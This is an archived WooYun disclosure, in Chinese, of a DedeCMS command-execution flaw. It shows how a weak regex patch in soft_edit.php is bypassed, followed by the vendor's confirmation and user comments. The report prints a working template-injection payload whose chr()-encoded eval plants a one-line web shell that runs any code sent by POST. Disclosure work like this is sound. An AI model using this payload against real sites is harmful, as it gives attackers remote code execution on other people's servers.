当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-052792

漏洞标题：Dedecms某命令执行漏洞（续）

相关厂商：Dedecms

漏洞作者： kobin97

提交时间：2014-03-04 21:57

修复时间：2014-06-02 21:57

公开时间：2014-06-02 21:57

漏洞类型：命令执行

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 help@wooyun.org

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-03-04： 细节已通知厂商并且等待厂商处理中
2014-03-05： 厂商已经确认，细节仅向厂商公开
2014-03-08： 细节向第三方安全合作伙伴开放
2014-04-29： 细节向核心白帽子及相关领域专家公开
2014-05-09： 细节向普通白帽子公开
2014-05-19： 细节向实习白帽子公开
2014-06-02： 细节向公众公开

简要描述：

很好，今天出的补丁修复了前面的漏洞了。但看了下20140228的补丁。。
你们是欺负我不懂正则么？

详细说明：

先看： WooYun: Dedecms某命令执行漏洞
20140228的补丁对soft_edit.php增加了

if(!preg_match("#[_=&///?\.a-zA-Z0-9-]+$#i", $softurl))
			{
				ShowMsg("确定软件地址提交正确!", "-1");
				exit;
			}


想问一下，这是神马正则？
任何一个字符都能让其匹配呀。。。
测试：
添加上传软件
本地地址 http://www.hao123.com
其它乱填就行，添加成功后，再次进入修改界面
软件地址改为：
http://www.hao123.com}x{/dede:link}{dede:a text'=x']=0;eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(34).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(93).chr(59).chr(34).chr(41).chr(59));// }xxxx{/dede:a}{dede:link}xxx
注意，这里后面多了 xxx ，就是为了绕过这个正则补丁。
然后执行完全没有压力！
后来测试，在GPC OFF跟 ON下写入的地址有所区别，上面是在ON下写入的。
原因你们懂得。
在 filter.inc.php 中，你们不管 GPC ，全过滤了 addslashes。
而且对这样的$svar[$_k]直接返回错误的值了，这个BUG你们看着办吧。

function _FilterAll($fk, &$svar)
{
    global $cfg_notallowstr,$cfg_replacestr;
    if( is_array($svar) )
    {
        foreach($svar as $_k => $_v)
        {
            $svar[$_k] = _FilterAll($fk,$_v);
        }
    }
    else
    {
        if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
        {
            ShowMsg(" $fk has not allow words!",'-1');
            exit();
        }
        if($cfg_replacestr!='')
        {
            $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
        }
    }
    return addslashes($svar);
}
/* 对_GET,_POST,_COOKIE进行过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v)
    {
        ${$_k} = _FilterAll($_k,$_v);
    }
}

漏洞证明：

1.jpg

修复方案：

我也不懂！

版权声明：转载请注明来源 kobin97@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2014-03-05 10:14

厂商回复：

已经修复，感谢您的反馈。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-03-04 21:57 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    顶楼卖摔炮

  2. 2014-03-04 22:04 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    二楼卖手榴弹

  3. 2014-03-04 22:05 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 承接:钻井，架工，木工，电工，水暖工，力...)

    织梦到底惹着谁了。你们这么对待人家，就不怕招报应吗？

  4. 2014-03-04 22:09 | 苏泽 ( 路人 | Rank:25 漏洞数:19 | 大习科。)

    哇塞 好像很厉害的样子。

  5. 2014-03-04 22:10 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    继续续！牛逼啊

  6. 2014-03-04 22:19 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | 一切语言转汇编理论)

    你们是欺负我不懂正则吗？

  7. 2014-03-04 22:24 | 忆苦思甜 ( 实习白帽子 | Rank:65 漏洞数:25 )

    你关注的白帽子 kobin97 发表了漏洞 Dedecms某命令执行漏洞（续）

  8. 2014-03-04 22:33 | 马燕羊蝎子 ( 实习白帽子 | Rank:83 漏洞数:10 | 亲，啥时候请吃马燕羊蝎子。)

    — —。 奶粉钱到手啊

  9. 2014-03-04 22:50 | p.z 认证白帽子 ( 普通白帽子 | Rank:411 漏洞数:40 )

    dede没倒, 乌云先破产了

  10. 2014-03-04 22:52 | d3pT1 ( 路人 | Rank:1 漏洞数:2 | 人法地，地法天，天法道，道法自然。)

    你这么屌- -dede知道吗？

  11. 2014-03-04 22:53 | My5t3ry ( 实习白帽子 | Rank:31 漏洞数:13 )

    dede没倒, 乌云先破产了

  12. 2014-03-04 23:00 | Let a person cry. ( 路人 | Rank:23 漏洞数:9 | xxoo)

    吊炸天了，dede赶紧礼物吧

  13. 2014-03-04 23:15 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:80 )

    @My5t3ry 哈哈 感觉还真是

  14. 2014-03-05 09:27 | adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)

    膜拜大神

  15. 2014-03-05 11:05 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    马克

  16. 2014-03-05 12:02 | t00000by57 ( 实习白帽子 | Rank:45 漏洞数:5 | Access Denied.)

    目测跟10年的老洞子有关系http://hi.baidu.com/toby57/item/20b05808c14fefdd72e6763b

  17. 2014-03-08 19:53 | 东方的肚皮舞 ( 路人 | Rank:1 漏洞数:2 | 社区变了。)

    出个getshell啊 大牛

  18. 2014-03-10 02:58 | Sct7p ( 实习白帽子 | Rank:62 漏洞数:9 | 懂与不懂之间只隔了一层纸，懂的人会觉得很...)

    树大招风吗？

  19. 2014-06-02 23:53 | 小森森 ( 路人 | Rank:11 漏洞数:2 | 不中二 枉少年)

    赞

  20. 2014-06-03 22:25 | 从容 ( 普通白帽子 | Rank:221 漏洞数:75 | Enjoy Hacking Just Because It's Fun :) ...)

    乌云最火的几个厂商:dede,dz,gov,edu